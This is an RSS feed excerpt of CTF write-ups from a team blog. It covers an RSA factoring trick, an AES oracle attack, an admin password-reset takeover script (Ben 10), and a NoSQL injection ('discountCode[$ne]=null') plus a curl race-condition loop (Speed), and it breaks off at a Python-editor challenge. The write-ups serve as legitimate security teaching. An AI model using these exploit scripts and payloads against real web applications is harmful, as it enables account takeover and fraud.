</content:encoded></item><item><title>K1ndasus2025 | Key in the haystack</title><link>https://bytethecookies.org/posts/k1ndasus2025-keyinthehaystack/</link><guid isPermaLink="true">https://bytethecookies.org/posts/k1ndasus2025-keyinthehaystack/</guid><description>I&apos;ve encrypted my secret message with RSA. Easy stuff, right? Well, I&apos;m not giving you the key outright... I&apos;ve hidden it in a haystack! Sure, a key is not a needle, and this haystack is not that big. It shouldn&apos;t take more than 10&apos; to find it, if you have an half-decent metal detector. Good luck!</description><pubDate>Mon, 24 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Haystack was a crypto CTF from &lt;a href=&quot;https://ctftime.org/event/2703&quot;&gt;K!nd4SUS CTF 2025&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util import number
from base64 import b64encode

prime = lambda: number.getPrime(512)
def b64enc(x):
	h = hex(x)[2:]
	if len(h) % 2:
		h = &apos;0&apos; + h
	return b64encode(bytes.fromhex(h)).decode()


p = prime()
q = prime()
with open(&quot;flag.txt&quot;) as f:
	flag = f.readline().strip()

n = p * q
m = int(flag.encode().hex(), 16)
c = pow(m, 65537, n)

print(&quot;ciphertext:&quot;, hex(c)[2:])

bale = [p, q]
bale.extend(prime() for _ in range(1&amp;lt;&amp;lt;6))

def add_hay(stack, straw):
	x = stack[0]
	for i in range(1, len(stack)):
		y = stack[i]
		stack[i] = y + (straw * x)
		x = y
	stack.append(straw * x)

stack = [1]
add_hay(stack, p)
add_hay(stack, q)
for straw in bale:
	add_hay(stack, straw)

print(&quot;size:&quot;, len(stack))
for x in stack:
	print(b64enc(x))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The challenge encrypts the flag with RSA and constructs a &lt;code&gt;stack&lt;/code&gt; via the &lt;code&gt;add_hay&lt;/code&gt; function which we&apos;re then given to try to recover the primes $p$ and $q$ used to create the modulus $n$.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The intended solution is to solve the list of equations provided by &lt;code&gt;stack&lt;/code&gt;, this is why the description suggests it might take about 10 minutes.
But I found out a much simpler solution by simply &quot;looking&quot; at what &lt;code&gt;stack&lt;/code&gt; looks like if $p$ and $q$ are seen as variables, which I simulated using sagemath:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sage: from Crypto.Util.number import getPrime
....:
....: p, q = PolynomialRing(ZZ, &apos;p,q&apos;).gens()
....: bale = [p, q]
....: bale.extend(getPrime(512) for _ in range(1&amp;lt;&amp;lt;6))
....:
....: def add_hay(stack, straw):
....:     x = stack[0]
....:     for i in range(1, len(stack)):
....:         y = stack[i]
....:         stack[i] = y + (straw * x)
....:         x = y
....:     stack.append(straw * x)
....:
....: stack = [1]
....: add_hay(stack, p)
....: add_hay(stack, q)
....: for straw in bale:
....:     add_hay(stack, straw)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By looking at the end of &lt;code&gt;stack&lt;/code&gt; it&apos;s easy to see that both the last and second to last entries have a factor of $pq$, with a simple &lt;code&gt;gcd&lt;/code&gt; we can therefore recover $n$.
Looking now at the second and third to last entries (which I&apos;ll call $s_2$ and $s_3$ respectively) we can see that:
$s_2 = zp^2q^2 + 2cp^2q + 2cpq^2$
$s_3 = xp^2q^2 + yp^2q + ypq^2 + cp^2 + wpq + cq^2$&lt;/p&gt;
&lt;p&gt;With some modular reduction (and a division):
$v_2 := \frac{s_2 \pmod{n^2}}{n} = 2cp + 2cq$
$v_3 :\equiv c(p^2 + q^2) \pmod n$&lt;/p&gt;
&lt;p&gt;Then since $(p + q)^2 \equiv p^2 + q^2 \pmod n$ we have:
$a :\equiv 2^{-1}v_2 \pmod n \equiv c(p + q) \pmod n$
$b :\equiv a^2 \pmod n \equiv c^2\left(p^2 + q^2\right) \pmod n$&lt;/p&gt;
&lt;p&gt;Finally we can recover $c$, and therefore $\phi(n)$ with:
$c \equiv bv_3^{-1} \pmod n$
$\phi(n) = n - \left(ac^{-1} \pmod n\right) + 1$&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from base64 import b64decode as bd
from math import gcd

ct = 0x7434d263623892ca660f4139c54ab02a8a14d87cd5c658fca9105f88f7ed5c888a744e949b716094c1d73fd8084eeaf72b23e97325829a69ca57a34e5e0b5272ddaf039bcc0aed2055968c8dfa7cd0373cca072c31123e6259659af03ce87b224bb7fdf13fb89b4ceb580d2d11524025ccb4f86560f3b006d99d86a63ab3aa5a
size = 69

stack = []
with open(&apos;output.txt&apos;, &apos;r&apos;) as f:
    f.readline(); f.readline()
    for _ in range(size):
        stack.append(int.from_bytes(bd(f.readline().rstrip())))

n = gcd(stack[-1], stack[-2])

v2 = stack[-2] % (n*n) // n
v3 = stack[-3] % n

a = v2 * pow(2, -1, n) % n
b = pow(a, 2, n)

c = b * pow(v3, -1, n) % n

phi = n - (a * pow(c, -1, n) % n) + 1

d = pow(65537, -1, phi)
m = pow(ct, d, n)

print(&apos;flag:&apos;, m.to_bytes(-(m.bit_length()//-8)).decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[KSUS{6465726976617469766573206172652061206e69636520747269636b}]&lt;/p&gt;
</content:encoded></item><item><title>Srdnlen2025 | Confusion</title><link>https://bytethecookies.org/posts/srdnlen2025-confusion/</link><guid isPermaLink="true">https://bytethecookies.org/posts/srdnlen2025-confusion/</guid><description>Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning?</description><pubDate>Wed, 12 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Confusion was a crypto CTF from &lt;a href=&quot;https://ctftime.org/event/2576&quot;&gt;Srdnlen CTF 2025&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os

# Local imports
FLAG = os.getenv(&quot;FLAG&quot;, &quot;srdnlen{REDACTED}&quot;).encode()

# Server encryption function
def encrypt(msg, key):
    pad_msg = pad(msg, 16)
    blocks = [os.urandom(16)] + [pad_msg[i:i + 16] for i in range(0, len(pad_msg), 16)]

    b = [blocks[0]]
    for i in range(len(blocks) - 1):
        tmp = AES.new(key, AES.MODE_ECB).encrypt(blocks[i + 1])
        b += [bytes(j ^ k for j, k in zip(tmp, blocks[i]))]

    c = [blocks[0]]
    for i in range(len(blocks) - 1):
        c += [AES.new(key, AES.MODE_ECB).decrypt(b[i + 1])]

    ct = [blocks[0]]
    for i in range(len(blocks) - 1):
        tmp = AES.new(key, AES.MODE_ECB).encrypt(c[i + 1])
        ct += [bytes(j ^ k for j, k in zip(tmp, c[i]))]

    return b&quot;&quot;.join(ct)


KEY = os.urandom(32)

print(&quot;Let&apos;s try to make it confusing&quot;)
flag = encrypt(FLAG, KEY).hex()
print(f&quot;|\n|    flag = {flag}&quot;)

while True:
    print(&quot;|\n|  ~ Want to encrypt something?&quot;)
    msg = bytes.fromhex(input(&quot;|\n|    &amp;gt; (hex) &quot;))

    plaintext = pad(msg + FLAG, 16)
    ciphertext = encrypt(plaintext, KEY)

    print(&quot;|\n|  ~ Here is your encryption:&quot;)
    print(f&quot;|\n|   {ciphertext.hex()}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The challenge acts as an encryption oracle in 3 steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$\quad b_0 := R \\quad b_i := E(m_i) \oplus m_{i-1} \quad i \ge 1$&lt;/li&gt;
&lt;li&gt;$\quad c_0 := R \\quad c_i := D(b_i) \quad i \ge 1$&lt;/li&gt;
&lt;li&gt;$\quad ct_0 := R \\quad ct_i := E(c_i) \oplus c_{i-1} \quad i \ge 1$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Where $m$ is our input message, padded, split into blocks and prefixed with the random block $R$, meanwhile $D$ and $E$ are AES decryption and encryption.
Notice how $ct_i = b_i \oplus c_{i-1}$ since $E(c_i) = E(D(b_i)) = b_i$.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Encryption utlity function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# encrypt and return the nth block
def encrypt(r, msg: bytes, block: int = -1):
    r.sendlineafter(b&apos;x) &apos;, msg.hex().encode())
    r.recvuntil(b&apos;n:\n|\n|   &apos;)
    ct = bytes.fromhex(r.recvline().rstrip().decode())
    if 0 &amp;lt;= block &amp;lt; len(ct) // 16:
        return ct[16*block:16*(block + 1)]
    return ct
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the flag is appended to the end of our input, we can recover the first block with a simple chosen-prefix ECB attack, which I&apos;m doing using my library &lt;a href=&quot;https://github.com/vympel7/cryptils&quot;&gt;cryptils&lt;/a&gt;.
With &lt;code&gt;dec0&lt;/code&gt; we can calculate a decryption of a 16 long bytestring of zeros, which I&apos;ll use to recover the rest of the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def dec0(r):
    msg1 = os.urandom(16)
    enc_msg1 = encrypt(r, msg1, 1)
    msg2 = os.urandom(16)
    enc_msg2 = encrypt(r, msg2, 1)
    val = xor(enc_msg2, msg1)

    ct3 = encrypt(r, enc_msg1 + msg1 + msg2, 3)

    return xor(ct3, val)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also notice how the second block the oracle gives us is a plain encryption of the first block of input.&lt;/p&gt;
&lt;p&gt;Let&apos;s call the output of &lt;code&gt;dec0&lt;/code&gt; simply $D(0)$ and set $F_i$ to be the $i$th block of the flag, with $F_0$ being the random block at the start, we can write each block of the flag&apos;s ciphertext we received at the start as:
$C_i := E(F_i) \oplus F_{i-1} \oplus D(E(F_{i-1}) \oplus F_{i-2})$&lt;/p&gt;
&lt;p&gt;Let&apos;s take a look at the fourth block after asking the oracle to encrypt $\ F_0 \mid F_1 \mid D(0)$:
$ct_3 = b_3 \oplus D(b_2) =E(D(0)) \oplus F_1 \oplus D(E(F_1) \oplus F_0) = F_1 \oplus D(E(F_1) \oplus F_0)$
$T := ct_3 \oplus C_2 = F_1 \oplus D(E(F_1) \oplus F_0) \oplus E(F_2) \oplus F_1 \oplus D(E(F_1) \oplus F_0) = E(F_2)$&lt;/p&gt;
&lt;p&gt;Let&apos;s then generate a random block $V$ and ask for the encryption of $\ T \mid D(0) \mid V$:
$ct_3 = b_3 \oplus D(b_2) = E(V) \oplus D(0) \oplus D(E(D(0)) \oplus T) = E(V) \oplus D(0) \oplus D(T) = E(V) \oplus D(0) \oplus D(E(F_2)) = E(V) \oplus D(0) \oplus F_2$&lt;/p&gt;
&lt;p&gt;We know both $E(V)$ and $D(0)$ and can therefore recover $F_2$. The process can then be repeated for successive blocks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def main():
    r = remote(&apos;confusion.challs.srdnlen.it&apos;, 1338) if args.REMOTE else process(&apos;./chall.py&apos;)

    r.recvuntil(b&apos; = &apos;)
    ct_flag = blockify(bytes.fromhex(r.recvline().rstrip().decode()))

    D0 = dec0(r)

    flag = chosen_prefix(lambda b: encrypt(r, b, 1), string.printable, length=16)
    curr, prev = flag, ct_flag[0]

    for i in range(2, len(ct_flag)):
        ct3 = encrypt(r, prev + curr + D0, 3)
        enc_next = xor(ct_flag[i], ct3)

        msg = os.urandom(16)
        enc_msg = encrypt(r, msg, 1)
        enc = encrypt(r, enc_next + D0 + msg, 3)

        prev = curr
        curr = xor(enc, xor(enc_msg, D0))

        flag += curr

    print(&apos;flag:&apos;, unpad(flag, 16).decode())

    r.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[srdnlen{I_h0p3_th15_Gl4ss_0f_M1rt0_w4rm3d_y0u_3n0ugh}]&lt;/p&gt;
</content:encoded></item><item><title>Srdnlen2025 | Ben 10</title><link>https://bytethecookies.org/posts/srdnlen2025-ben10/</link><guid isPermaLink="true">https://bytethecookies.org/posts/srdnlen2025-ben10/</guid><description>Ben Tennyson&apos;s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It&apos;s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden.</description><pubDate>Tue, 11 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Can you outsmart the system and reveal the flag?&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I&apos;m writing the writeups only so some information could be wrong or not complete.&lt;/p&gt;
&lt;p&gt;The challenge is presented in a very clear and simple way, we have in front of us a login form and one to register, once logged in we see we are shown several photos of the different aliens of ben10.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/ben10/img1.png&quot; alt=&quot;screen&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When we try to click on each alien, it just opens another screen with details, until the last one hides information that only the admin can see.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/ben10/img2.png&quot; alt=&quot;screen&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From here I would say that a look at the code would not hurt.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;Analysing the code, we see that the admin is created at the same time as the user, so each user has their own randomly generated admin.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    admin_username = f&quot;admin^{username}^{secrets.token_hex(5)}&quot;
    admin_password = secrets.token_hex(8)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And as you can see, the admin username is associated with the user created.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    conn = sqlite3.connect(DATABASE)
    cursor = conn.cursor()
    cursor.execute(&quot;INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)&quot;,(username, password, admin_username))
    cursor.execute(&quot;INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)&quot;,(admin_username, admin_password, None))
    conn.commit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the first problem is to understand how to find the name of our admin. But fortunately, it&apos;s quite simple, because we see that it&apos;s simply inserted into a template, and therefore probably somewhere in the HTML when rendered.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return render_template(&apos;home.html&apos;, username=username, admin_username=admin_username, image_names=image_names)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;{% extends &quot;base.html&quot; %}

{% block content %}
    &amp;lt;h1&amp;gt;Welcome, {{ username }}&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Do you like the aliens on my Omnitrix?&amp;lt;/h2&amp;gt;

    &amp;lt;!-- secret admin username --&amp;gt;
    &amp;lt;div style=&quot;display:none;&quot; id=&quot;admin_data&quot;&amp;gt;{{ admin_username }}&amp;lt;/div&amp;gt;

    &amp;lt;div id=&quot;image-grid&quot;&amp;gt;
        {% for image_name in image_names %}
            &amp;lt;div&amp;gt;
                &amp;lt;img src=&quot;{{ url_for(&apos;static&apos;, filename=&apos;images/&apos; + image_name + &apos;.webp&apos;) }}&quot; alt=&quot;{{ image_name }}&quot;
                    onclick=&quot;window.location.href=&apos;/image/{{ image_name }}&apos;&quot; style=&quot;cursor:pointer;&quot;&amp;gt;
            &amp;lt;/div&amp;gt;
        {% endfor %}
    &amp;lt;/div&amp;gt;

    &amp;lt;a href=&quot;{{ url_for(&apos;logout&apos;) }}&quot; style=&quot;margin-top: 20px; display: block;&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;
{% endblock %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the first problem is solved...&lt;/p&gt;
&lt;p&gt;The second is to find out how to access the secret image, with the aim of logging in as admin. To do this, we go back to analysing the source code.&lt;/p&gt;
&lt;p&gt;Among the various endpoints, we find &lt;code&gt;/reset_password&lt;/code&gt; and &lt;code&gt;/forgot_password&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The former allows us to generate a reset token to be used in &lt;code&gt;/forgot_password&lt;/code&gt; to change the user&apos;s password.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/reset_password&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def reset_password():
    &quot;&quot;&quot;Handle reset password request.&quot;&quot;&quot;
    if request.method == &apos;POST&apos;:
        username = request.form[&apos;username&apos;]

        if username.startswith(&apos;admin&apos;):
            flash(&quot;Admin users cannot request a reset token.&quot;, &quot;error&quot;)
            return render_template(&apos;reset_password.html&apos;)

        if not get_user_by_username(username):
            flash(&quot;Username not found.&quot;, &quot;error&quot;)
            return render_template(&apos;reset_password.html&apos;)

        reset_token = secrets.token_urlsafe(16)
        update_reset_token(username, reset_token)

        flash(&quot;Reset token generated!&quot;, &quot;success&quot;)
        return render_template(&apos;reset_password.html&apos;, reset_token=reset_token)

    return render_template(&apos;reset_password.html&apos;)


@app.route(&apos;/forgot_password&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def forgot_password():
    &quot;&quot;&quot;Handle password reset.&quot;&quot;&quot;
    if request.method == &apos;POST&apos;:
        username = request.form[&apos;username&apos;]
        reset_token = request.form[&apos;reset_token&apos;]
        new_password = request.form[&apos;new_password&apos;]
        confirm_password = request.form[&apos;confirm_password&apos;]

        if new_password != confirm_password:
            flash(&quot;Passwords do not match.&quot;, &quot;error&quot;)
            return render_template(&apos;forgot_password.html&apos;, reset_token=reset_token)

        user = get_user_by_username(username)
        if not user:
            flash(&quot;User not found.&quot;, &quot;error&quot;)
            return render_template(&apos;forgot_password.html&apos;, reset_token=reset_token)

        if not username.startswith(&apos;admin&apos;):
            token = get_reset_token_for_user(username)
            if token and token[0] == reset_token:
                update_password(username, new_password)
                flash(f&quot;Password reset successfully.&quot;, &quot;success&quot;)
                return redirect(url_for(&apos;login&apos;))
            else:
                flash(&quot;Invalid reset token for user.&quot;, &quot;error&quot;)
        else:
            username = username.split(&apos;^&apos;)[1]
            token = get_reset_token_for_user(username)
            if token and token[0] == reset_token:
                update_password(request.form[&apos;username&apos;], new_password)
                flash(f&quot;Password reset successfully.&quot;, &quot;success&quot;)
                return redirect(url_for(&apos;login&apos;))
            else:
                flash(&quot;Invalid reset token for user.&quot;, &quot;error&quot;)

    return render_template(&apos;forgot_password.html&apos;, reset_token=request.args.get(&apos;token&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The problem here is on line 183, where instead of using &lt;code&gt;username&lt;/code&gt; it uses &lt;code&gt;request.form[&apos;username&apos;]&lt;/code&gt;, and this causes a big problem because now you can just use the normal user&apos;s token to reset the admin&apos;s password.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3
import random
import string

import requests
from bs4 import BeautifulSoup

BASE_URL = &quot;http://localhost:5000/&quot;

s = requests.Session()

def string_generator(length):
    return &apos;&apos;.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

def login(username, password):
    data = {
        &quot;username&quot;: username,
        &quot;password&quot;: password
    }
    r = s.post(f&quot;{BASE_URL}/login&quot;, data=data)
    return r.status_code == 200

def register(username, password):
    data = {
        &quot;username&quot;: username,
        &quot;password&quot;: password
    }
    r = s.post(f&quot;{BASE_URL}/register&quot;, data=data)
    return r.status_code == 200

def get_admin():
    r = s.get(BASE_URL)
    soup = BeautifulSoup(r.text, &apos;html.parser&apos;)
    admin_username = soup.find(&apos;div&apos;, {&apos;id&apos;: &apos;admin_data&apos;}).text.strip()
    print(&quot;[+] Admin Username:&quot;, admin_username)
    return admin_username

def get_reset_token(username):
    r = s.post(f&quot;{BASE_URL}/reset_password&quot;,data={&quot;username&quot;: username})
    soup = BeautifulSoup(r.text, &apos;html.parser&apos;)
    token = soup.find(&apos;strong&apos;).text.strip()
    return token

def exploit(username_admin,token):
    data = {
        &quot;username&quot;: username_admin,
        &quot;reset_token&quot;: token,
        &quot;new_password&quot;: &quot;cookieforme&quot;,
        &quot;confirm_password&quot;: &quot;cookieforme&quot;
    }
    r = s.post(f&quot;{BASE_URL}/forgot_password&quot;, data=data)
    if r.status_code == 200:
        print(&quot;[+] Generated new password!&quot;)
    else:
        print(&quot;[!] Failed to generate new password&quot;)
        return

    if login(username_admin, &quot;cookieforme&quot;):
        print(&quot;[+] Logged in as admin!&quot;)
    else:
        print(&quot;[!] Failed to login as admin&quot;)
        return

    return s.get(f&quot;{BASE_URL}/image/ben10&quot;).text

def main():
    username = string_generator(10)
    password = string_generator(10)
    register(username, password)
    login(username, password)
    username_admin = get_admin()
    token = get_reset_token(username)
    print(exploit(username_admin,token))


if __name__ == &quot;__main__&quot;:
	main()


# goodluck by @akiidjk
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Srdnlen2025 | Speed</title><link>https://bytethecookies.org/posts/srdnlen2025-speed/</link><guid isPermaLink="true">https://bytethecookies.org/posts/srdnlen2025-speed/</guid><description>Welcome to Radiator Springs&apos; finest store, where every car enthusiast&apos;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow!</description><pubDate>Tue, 11 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge.&lt;/p&gt;
&lt;p&gt;The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. and we don&apos;t have enough money to buy the flag, which is particularly standard.&lt;/p&gt;
&lt;p&gt;So we jump straight into the code and try to understand how it works.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;The application is a simple javascript application using express.js and express-handlebars for page rendering and a nosql database to manage the data (MongoDB with mongoose).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/speed/img1.png&quot; alt=&quot;screen&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As soon as we log in, we notice that the only way to get money is with these codes, which are randomly generated once in the code and cannot be reused.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// filename: app.js
// Generate a random discount code
  const generateDiscountCode = () =&amp;gt; {
      const characters = &apos;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&apos;;
      let discountCode = &apos;&apos;;
      for (let i = 0; i &amp;lt; 12; i++) {
          discountCode += characters.charAt(Math.floor(Math.random() * characters.length));
      }
      return discountCode;
  };

    const createDiscountCodes = async () =&amp;gt; {
        const discountCodes = [
            { discountCode: generateDiscountCode(), value: 20 }
        ];

        for (const code of discountCodes) {
            const existingCode = await DiscountCodes.findOne({ discountCode: code.discountCode });
            if (!existingCode) {
                await DiscountCodes.create(code);
                console.log(`Inserted discount code: ${code.discountCode}`);
            } else {
                console.log(`Discount code ${code.discountCode} already exists.`);
            }
        }
    };

    // Call function to insert discount codes
    await createDiscountCodes();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, everything is normal, nothing strange, something strange we have in the routes.js in the redeem endpoint.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
let delay = 1.5;

router.get(&apos;/redeem&apos;, isAuth, async (req, res) =&amp;gt; {
    try {
        const user = await User.findById(req.user.userId);

        if (!user) {
            return res.render(&apos;error&apos;, { Authenticated: true, message: &apos;User not found&apos; });
        }

        // Now handle the DiscountCode (Gift Card)
        let { discountCode } = req.query;

        if (!discountCode) {
            return res.render(&apos;error&apos;, { Authenticated: true, message: &apos;Discount code is required!&apos; });
        }

        const discount = await DiscountCodes.findOne({discountCode})

        if (!discount) {
            return res.render(&apos;error&apos;, { Authenticated: true, message: &apos;Invalid discount code!&apos; });
        }

        // Check if the voucher has already been redeemed today
        const today = new Date();
        const lastRedemption = user.lastVoucherRedemption;

        if (lastRedemption) {
            const isSameDay = lastRedemption.getFullYear() === today.getFullYear() &amp;amp;&amp;amp;
                              lastRedemption.getMonth() === today.getMonth() &amp;amp;&amp;amp;
                              lastRedemption.getDate() === today.getDate();
            if (isSameDay) {
                return res.json({success: false, message: &apos;You have already redeemed your gift card today!&apos; });
            }
        }

        // Apply the gift card value to the user&apos;s balance
        const { Balance } = await User.findById(req.user.userId).select(&apos;Balance&apos;);
        user.Balance = Balance + discount.value;
        // Introduce a slight delay to ensure proper logging of the transaction
        // and prevent potential database write collisions in high-load scenarios.
        new Promise(resolve =&amp;gt; setTimeout(resolve, delay * 1000));
        user.lastVoucherRedemption = today;
        await user.save();

        return res.json({
            success: true,
            message: &apos;Gift card redeemed successfully! New Balance: &apos; + user.Balance // Send success message
        });

    } catch (error) {
        console.error(&apos;Error during gift card redemption:&apos;, error);
        return res.render(&apos;error&apos;, { Authenticated: true, message: &apos;Error redeeming gift card&apos;});
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first thing that stands out is&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
        const user = await User.findById(req.user.userId);

        if (!user) {
            return res.render(&apos;error&apos;, { Authenticated: true, message: &apos;User not found&apos; });
        }

        // Now handle the DiscountCode (Gift Card)
        let { discountCode } = req.query;

        if (!discountCode) {
            return res.render(&apos;error&apos;, { Authenticated: true, message: &apos;Discount code is required!&apos; });
        }

        const discount = await DiscountCodes.findOne({discountCode})

        if (!discount) {
            return res.render(&apos;error&apos;, { Authenticated: true, message: &apos;Invalid discount code!&apos; });
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where we can clearly see a very undisguised nosql injection where we just have to do &lt;code&gt;discountCode = { $ne: null }&lt;/code&gt; to redeem the code without knowing the exact value.&lt;/p&gt;
&lt;p&gt;But this only solves one of our problems, because when we check the code later we see that our code can only be used once, the code only gives 20 credits and we need 50 credits for the flag.&lt;/p&gt;
&lt;p&gt;This is where the name of the challenge comes in, which gives a nice clue as to what to do next, &lt;strong&gt;speed&lt;/strong&gt; == &lt;strong&gt;race condition&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;In my case, I split the attack into two parts because I had problems doing the race condition in python, so I used curl and bash, but there may be a more elegant way to exploit the race condition.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

import random
import string
import threading
import requests

# BASE_URL = &quot;http://speed.challs.srdnlen.it:8082&quot;
BASE_URL = &quot;http://localhost:80&quot;
s = requests.Session()

def string_generator(length):
    return &apos;&apos;.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

def redeem_code():
    try:
        r = s.get(BASE_URL + &quot;/redeem?discountCode[$ne]=null&quot;)
        print(f&quot;Response ({threading.current_thread().name}): {r.status_code} - {r.text}&quot;)
    except Exception as e:
        print(f&quot;Error in thread {threading.current_thread().name}: {e}&quot;)

def login(username, password):
    s.post(BASE_URL + &quot;/user-login&quot;, json={&quot;username&quot;: username, &quot;password&quot;: password})
    # print(f&quot;Login response: {r.text}&quot;)
    return username, password

def register(username, password):
    s.post(BASE_URL + &quot;/register-user&quot;, json={&quot;username&quot;: username, &quot;password&quot;: password})
    # print(f&quot;Register response: {r.text}&quot;)
    return username, password

def main():
    username = string_generator(8)
    password = string_generator(8)
    register(username, password)
    login(username, password)

    print(s.cookies[&quot;jwt&quot;].strip())
    # redeem_code()


if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

JWT=&quot;$(python3 exploit.py)&quot;      # Read the jwt printed by exploit.py
echo &quot;JWT used: $JWT&quot;

for i in {1..30}; do
  curl -s &apos;http://localhost:80/redeem?discountCode%5B%24ne%5D=null&apos; \
       -H &quot;Cookie: jwt=${JWT}&quot; &amp;amp;
done

wait

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you have made a few attempts and the logs show that you have 60 credits, you can copy the jwt and use it to log in.&lt;/p&gt;
</content:encoded></item><item><title>Trx2025 | Online Python Editor</title><link>https://bytethecookies.org/posts/trx2025-onlinepythoneditor/</link><guid isPermaLink="true">https://bytethecookies.org/posts/trx2025-onlinepythoneditor/</guid><description>If you&apos;re tired of fast and good-looking editors, try this. Now with extra crispiness!</description><pubDate>Tue, 11 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;This is the first web in the TRX2025 CTF. And it&apos;s basically a simple online Python editor with a syntax checker.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;Go to the source code and we can immediately see two things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;In a file called &lt;code&gt;secret.py&lt;/code&gt;, which is never called, read or otherwise used.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The main &lt;code&gt;app.py&lt;/code&gt; file&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# filename: app.py

import ast
import traceback
from flask import Flask, render_template, request

app = Flask(__name__)

@app.get(&quot;/&quot;)
def home():
    return render_template(&quot;index.html&quot;)

@app.post(&quot;/check&quot;)
def check():
    try:
        ast.parse(**request.json)
        return {&quot;status&quot;: True, &quot;error&quot;: None}
    except Exception:
        return {&quot;status&quot;: False, &quot;error&quot;: traceback.format_exc()}

if __name__ == &apos;__main__&apos;:
    app.run(debug=True)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What happens is that the template is rendered and every N seconds the &lt;code&gt;check&lt;/code&gt; method is called, which parses the Python code sent by the client and returns the traceback, which is very useful for us later.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
